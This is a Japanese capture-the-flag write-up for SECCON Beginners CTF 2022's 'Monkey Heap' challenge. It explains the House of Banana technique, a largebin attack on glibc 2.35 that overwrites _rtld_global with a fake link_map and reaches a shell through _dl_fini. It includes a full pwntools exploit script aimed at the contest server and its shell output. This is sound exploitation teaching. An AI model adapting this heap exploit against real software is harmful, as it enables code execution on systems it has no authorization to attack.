SECCON Beginners CTF 2022  Monkey Heapのwriteup（House of Bananaの解説）

SECCON Beginners CTF 2022でこの問題だけ解けなかったので、後から解いた。他の問題はこちら。

https://qiita.com/kusano_k/items/963b299d1b33b97270b9

分かる人向け要約。

- mallocにおいて、双方向リンクのチャンクは特にチェックが厳しいが、largebinに既存のチャンクよりも小さいチャンクを繋ぐときにはチェックが無い
- これを利用すると、任意のアドレスにヒープのアドレスを書き込める
- `_rtld_global._dl_ns[0]._ns_loaded` にヒープのアドレスを書き込み、ヒープに `struct link_map` を偽装しておくことで、任意コード実行に繋げられる

## 問題概要

ソースコード。

```main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX 4

char *papyrus[MAX];

int getint(const char *msg) {
  int v;
  printf("%s", msg);
  if (scanf("%d%*c", &v) != 1) exit(0);
  return v;
}

int main() {
  puts("1. new papyrus");
  puts("2. write");
  puts("3. read");
  puts("4. burn");

  while (1) {
    int choice = getint("> ");
    switch (choice) {
      case 1: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX) break;
        int size = getint("size: ");
        if (size >= 0x600) break;
        if (size < 0x500) size = 0x500;
        papyrus[index] = (char*)calloc(size, 1);
        puts("[+] done! uhouho~~");
        break;
      }

      case 2: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX || !papyrus[index]) break;
        printf("data: ");
        fgets(papyrus[index], 0x500, stdin);
        puts("[+] done! uhoho~");
        break;
      }

      case 3: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX || !papyrus[index]) break;
        printf("papyrus: %s", papyrus[index]);
        break;
      }

      case 4: {
        int index = getint("index: ");
        if (index < 0 || index >= MAX) break;
        free(papyrus[index]);
        puts("[+] done! uhhoho");
        break;
      }

      default:
        puts("[+] bye! uho");
        return 0;
    }
  }
}

__attribute__((constructor))
void setup() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}
```

これだけ。ヒープ問で良く見る形式。

- Double freeとuse after freeが可能
- 確保可能なサイズは0x500バイト以上、0x600バイト未満
- `malloc` ではなく `calloc`
    - 関数の仕様的には、0埋めをしてくれる `malloc` というだけ
    - 内部的にはtcacheを使わないという違いがある

Glibcは2.35。バイナリのセキュリティ機構は全て有効。

```
$ checksec chall
[*] '/mnt/d/documents/ctf/secconbeginners2022/Monkey Heap/monkey/bin/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

サイズが0x500バイト以上なので、unsorted binとlargebin以外は使えない。新しいGlibcなのでチェックも厳しいだろうし、何をしたら良いのか分からなかった。サイズを上手いこと調節してチャンクを分割すれば、他のbinに入れることもできるだろうが、取り出せないから意味が無い。

## 解法

これをやるだけっぽい。まあ、SECCON **Beginners** CTFだし。

https://www.anquanke.com/post/id/222948

3種類の手法の組合わせという理解で良いのだろうか。

1. largebin attackで任意のアドレスにヒープのアドレスを書き込む
1. `_rtld_global` に偽の構造体を突っ込むことで、プログラムの終了時に任意のアドレスに制御を移す
1. `setcontext` などを利用してシェルを取る

それぞれの手法単体でも使いどころがありそう。

### largebin attack

largebinにチャンクを繋ぐ処理のうち、この部分ではチェックが無いことを利用する。ホントだ。他はこれでもかというほどチェックしているのに、ここはチェックが無いのか。

```main.c
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
                      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
```

https://github.com/bminor/glibc/blob/f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2/malloc/malloc.c#L4109-L4114

largebinは、smallbinなどと異なり、1個のbinに異なるサイズのチャンクが繋がれる。全てのチャンクを単に双方向リンクで繋ぐと、特定のサイズのチャンクを探すときに時間が掛かってしまうので、2重の双方向リンクになっている。各サイズのチャンクのうち、どれか1個が `fd_nextsize` と `bk_nextsize` を使って、binに双方向リンクで繋がれている。そこからさらに同じサイズのチャンクが `fd` と `bk` を使って繋がれている。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/7844b136-c484-89ad-b2d1-3d60f5a4bdf8.png)

こんなイメージ。チャンクサイズは適当。

あるチャンク `A` がlargebinに繋がっているとき、チャンク `A` の `bk_nextsize` （チャンクのアドレス+0x28、 `malloc` が返すアドレス+0x18）に、 `addr-0x20` を書き込み、 `A` よりも小さなチャンク `B` をlargebinに繋げると、 `addr` にチャンク `A` のアドレスが書き込まれる。

細々と注意しないといけないことはある。

- チャンク `A` が、同じlargebinに繋がれているチャンクの中で最小でなければいけない
- largebinに入るチャンクは、前後のチャンクやtopと統合されるので、間に解放しない別のチャンクを挟まないといけない
- 書き込まれるのはチャンクのアドレスであって、 `malloc` から返ってくるアドレス（プログラムの `write` コマンドで書き込めるアドレス）ではない

まあ、[Pwngdb](https://github.com/scwuaptx/Pwngdb)などを入れて、ヒープの様子を確認しながらデバッグすれば何とかなる。

### _rtld_global

ここが分からず、コンテスト中には解けなかった。ブログ記事で作っているpayloadと、`struct rtld_global` を見比べても全然対応している気がしなかった……。

これが間違いで、作っているpayloadは `struct rtld_global` ではなく `struct link_map` である。largebin attackでは、 `_rtld_global` を指すポインタを書き込んでいるのではなく、 `_rtld_global` の最初の要素を書き換えている。 `_rtld_global` の最初の要素は、 `_rtld_global._dl_ns[0]._ns_loaded` 。それさえ分かってしまえば、ブログ記事もすんなり読める。

`main` 関数から返ったり `exit` 関数を呼び出したりしたときに呼ばれる関数 `_dl_fini` のこの部分の処理を狙う。

```dl-fini.c
                      if (l->l_info[DT_FINI_ARRAY] != NULL)
                        {
                          ElfW(Addr) *array =
                            (ElfW(Addr) *) (l->l_addr
                                            + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                          unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                                            / sizeof (ElfW(Addr)));
                          while (i-- > 0)
                            ((fini_t) array[i]) ();
                        }
```

https://github.com/bminor/glibc/blob/f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2/elf/dl-fini.c#L142

ここまで処理が到達するような、 `struct link_map` を作れば良い。

- `struct rtld_global` の定義
    - https://github.com/bminor/glibc/blob/f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2/sysdeps/generic/ldsodefs.h#L322
- `struct link_map` の定義
    - https://github.com/bminor/glibc/blob/f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2/include/link.h#L95

`l_next` で繋がった `link_map` を4個用意するのが面倒。そうしないといけないのは、 `_rtld_global` に4個あると書かれているのと整合性を取るため。

元記事のCのコードはこのチェーンを作っているのに、Pythonコードのほうが無いなと思ったら、本来繋がっているはずの `link_map` に繋いでいるかららしい。なるほど。これはこれで楽だけれど、しかし調べるアドレスが増えるのは手間。

`link_map` はサイズが大きいので最初のほうだけ作ったけれど、何かソートしている処理の奥のほうで落ちた。まあ、この辺はデバッガで動かしながら直せば良い。

あと、 `_rtld_global` はlibc.soではなくld.soの中にあることに注意。libc.soとld.soの相対アドレスは、ASLRのようにランダムに変わるわけではないけど、デバッガの有無とか、VMにインストールしたのとDockerで動かしているのとで変わって安定しない。だからこの問題ではDockerfileも配布されていたのか。この間隔はどうやって決まるのだろう。

### シェルを取る

このone gadgetが動いたので良かった。

```
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
```

ブログ記事だと `setcontext` の途中に飛ばしている。 `setcontext` は `setjmp` / `longjmp` のすごい版らしく、レジスタをまとめて書き戻すような処理がある。それでstack pivotができて、あとは `system("/bin/sh")` を呼ぶと。

サイトの別の記事曰く、 `_dl_fini` 中のこの処理は複数の関数を連続して呼び出せるのでとても使い勝手良いらしい。

https://www.anquanke.com/post/id/243196

また、デバッガで動いているときの様子を見ると、ソートのために動的に配列を確保して各 `link_map` のアドレスを格納しているものが、ちょうどスタックにあって、それも使えそう。ここまで来られれば何とでもなりそう。

### 他の解法

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">monkey heap: large bin attackを2度使って、昔から知られているatexitのリスト偽造をしました。TLS中のPTR_MANGLE用の乱数と、__exit_funcsを書き換えて、ヒープ中にいい感じの簡単な構造を作るだけでいけます。huskもbananaも使ってないと思う。</p>&mdash; bata (@bata_24) <a href="https://twitter.com/bata_24/status/1533344309113630722?ref_src=twsrc%5Etfw">June 5, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

なるほど。unsorted bin attackと違って、複数回使えるのか。これは、largebinが複数があるからではなく、unlink時の攻撃ではないから。以下のソースコードで、2回目は `p1` ではなく、 `p0` を書き換える。1回目に、largebinの `bk_nextsize` を書き換えるときの挙動で攻撃をしているので、 `bk_nextsize` はそのまま `p0` を指しているということかな。

```test.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    long *p0, *p1, *p2;
    long *target0 = NULL;
    long *target1 = NULL;

    p0 = malloc(0x520);
    malloc(0x10);
    p1 = malloc(0x510);
    malloc(0x10);
    p2 = malloc(0x500);
    malloc(0x10);

    printf("p0:      %p\n", p0);
    printf("p1:      %p\n", p1);
    printf("p2:      %p\n", p2);

    free(p0);
    malloc(0x530);

    p0[3] = (long)&target0-0x20;

    free(p1);
    malloc(0x530);

    // p1[3] = ... ではない
    p0[3] = (long)&target1-0x20;

    free(p2);
    malloc(0x530);

    printf("target0: %p\n", target0);
    printf("target1: %p\n", target1);
}
```

```shell-session
$ gcc -o test test.c && ./test
p0:      0x55f08c1502a0
p1:      0x55f08c1507f0
p2:      0x55f08c150d30
target0: 0x55f08c1507e0
target1: 0x55f08c150d20
```

## 攻略

```attack.py
from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

s = remote("monkey.quals.beginners.seccon.jp", 9999)
#s = remote("localhost", 8888)
#s = remote("172.19.91.41", 8888)

def new(index, size):
  s.sendlineafter(b"> ", b"1")
  s.sendlineafter(b"index: ", str(index).encode())
  s.sendlineafter(b"size: ", str(size).encode())

def write(index, data):
  s.sendlineafter(b"> ", b"2")
  s.sendlineafter(b"index: ", str(index).encode())
  s.sendlineafter(b"data: ", data)

def read(index, n):
  s.sendlineafter(b"> ", b"3")
  s.sendlineafter(b"index: ", str(index).encode())
  s.recvuntil(b"papyrus: ")
  return s.recv(n)

def burn(index):
  s.sendlineafter(b"> ", b"4")
  s.sendlineafter(b"index: ", str(index).encode())

def bye():
  s.sendlineafter(b"> ", b"5")

# https://www.anquanke.com/post/id/222948

# libcとheapのアドレスの取得
new(0, 0x500) # 0x0290
new(1, 0x500) # 0x07a0
new(2, 0x500) # 0x0cb0
new(3, 0x500) # 0x11c0

burn(0)
burn(2)

unsorted = unpack(read(0, 6).ljust(8, b"\0"))
print("unsorted:", hex(unsorted))
heap = unpack(read(2, 6).ljust(8, b"\0")) - 0x290
print("heap:", hex(heap))

burn(1)
burn(3)

# large bin attack
new(0, 0x510) # 0x0290
new(1, 0x500) # 0x07b0
new(2, 0x520) # 0x0cc0
new(3, 0x500) # 0x11f0

# 2 -> largebin
burn(2)
new(3, 0x530)

# glibc 2.31
#libc = unsorted - 0x1ebbe0
#rce = libc + 0xe6c7e
#_rtld_global = 0x7ffff7ffd060

# glibc 2.35
libc = unsorted - 0x219ce0
rce = libc + 0xebcf1
# gdb
#_rtld_global = libc + 0x240000 + 0x3a040
# no gdb
#_rtld_global = libc + 0x23a000 + 0x3a040
# server
_rtld_global = libc + 0x22c000 + 0x3a040

# _rtld_global._dl_ns[0]._ns_loaded = heap+0x290
write(2, (
  pack(0) + # fd
  pack(0) + # bk
  pack(0) + # fd_nextsize
  pack(_rtld_global-0x20) # bk_nextsize
))

# 0 -> largebin
burn(0)
new(3, 0x530)

# fake link_map
addr = heap+0x290 # &payload

payload = b""
# 0x0000: _ns_loaded
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(addr+0x320)     # l_next
payload += pack(0)              # l_prev
payload += pack(addr)           # l_real
payload += bytes(0x110-len(payload))
payload += pack(addr+0x3b0)     # l_info[DT_FINI_ARRAY]
payload += pack(0)
payload += pack(addr+0x3c0)     # l_info[DT_FINI_ARRAYSZ]
payload += bytes(0x31c-len(payload))
payload += p32(0x8)             # l_init_called

# 0x0320: link_map#1
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(addr+0x350)     # l_next
payload += pack(0)              # l_prev
payload += pack(addr+0x320)     # l_real

# 0x0350: link_map#2
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(addr+0x380)     # l_next
payload += pack(0)              # l_prev
payload += pack(addr+0x350)     # l_real

# 0x0380: link_map#2
payload += pack(0)              # l_addr
payload += pack(0)              # l_name
payload += pack(0)              # l_ld
payload += pack(0)              # l_next
payload += pack(0)              # l_prev
payload += pack(addr+0x380)     # l_real

# 0x3b0: fini_array
payload += pack(0)
payload += pack(addr+0x3e0)

# 0x3c0: fini_arraysz
payload += pack(0)
payload += pack(0x8)

# 0x3d0: _dl_sort_mapsがここを触り、0にしておかないと落ちる
payload += pack(0)
payload += pack(0)

# 0x3e0: array
payload += pack(rce)

# チャンクのアドレスとmallocの返り値の差分
# l_addrの位置が0になっているならば問題無い
payload = payload[0x10:]

write(0, payload)

bye()

s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to monkey.quals.beginners.seccon.jp on port 9999: Done
unsorted: 0x7f78c01a9ce0
heap: 0x55eefb0c1000
[*] Switching to interactive mode
[+] bye! uho
$ cat flag*
ctf4b{wh4t_d1d_U_us3?_House_of_Banana/Emma/Husk?}
$
```